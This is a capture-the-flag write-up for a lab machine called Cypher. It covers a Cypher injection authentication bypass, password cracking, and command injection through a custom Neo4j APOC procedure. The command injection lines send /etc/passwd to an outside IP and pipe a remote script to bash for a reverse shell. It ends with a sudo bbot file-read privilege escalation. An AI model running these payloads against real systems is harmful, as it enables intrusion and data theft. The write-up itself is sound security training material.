Cypher¶

Initial Scan¶

nmap -sC -sV -Pn -oN scan_initial 10.10.x.x

Enumeration¶

The web application at http://cypher.htb/ has a login page backed by Neo4j (graph database). The login form processes a Cypher query, making it a candidate for Cypher injection.

A custom APOC extension JAR was discovered at:

http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar

Neo4j version: 5.23.0

Exploitation¶

Cypher Injection - Authentication Bypass¶

Testing with a single quote (') triggered a Cypher syntax error, confirming injection:

CypherSyntaxError: Failed to parse string literal. The query must contain an even number of non-escaped quotes.

The query structure was:

MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '<input>' return h.value as hash

Payload to bypass authentication:

Username: admin' OR 1=1 RETURN 'd033e22ae348aeb5660fc2140aec35850c4da997' as hash //
Password: admin

Where d033e22ae348aeb5660fc2140aec35850c4da997 is the SHA1 of "admin". This makes the query always return a valid hash.

Database Enumeration¶

CALL db.labels()
MATCH (u:USER) RETURN DISTINCT keys(u)
MATCH (u:USER) RETURN u.name
MATCH (s:SHA1) RETURN s.value

Found user graphasm with hash 9f54ca4c130be6d529a56dee59dc2b2090e43acf.

Cracked via CrackStation: 9f54ca4c130be6d529a56dee59dc2b2090e43acf -> cU4btyib.20xtCMCXkBmerhK

RCE via Custom APOC Extension¶

The custom JAR exposed a getUrlStatusCode procedure allowing command injection:

CALL custom.getUrlStatusCode('http://10.10.14.54:8888/$(cat /etc/passwd)')
CALL custom.getUrlStatusCode('http://google.com; curl http://10.10.14.54:8888/revshell.sh | bash')

This provided a reverse shell.

Lateral Movement¶

SSH as graphasm¶

ssh graphasm@cypher.htb
# password: cU4btyib.20xtCMCXkBmerhK

user.txt: ***

Credential Discovery¶

Found in bbot_preset.yml:

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

Privilege Escalation¶

sudo -l

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

BBot can read files using the -cy flag which loads YARA rules from a file. The contents are logged at debug level, effectively reading the file contents:

sudo /usr/local/bin/bbot -cy /root/root.txt --debug

[DBUG] internal.excavate: Final combined yara rule contents: 1536a279af9a7d36cfd88a44d328a6e3

Flags¶

user.txt: *** root.txt: ***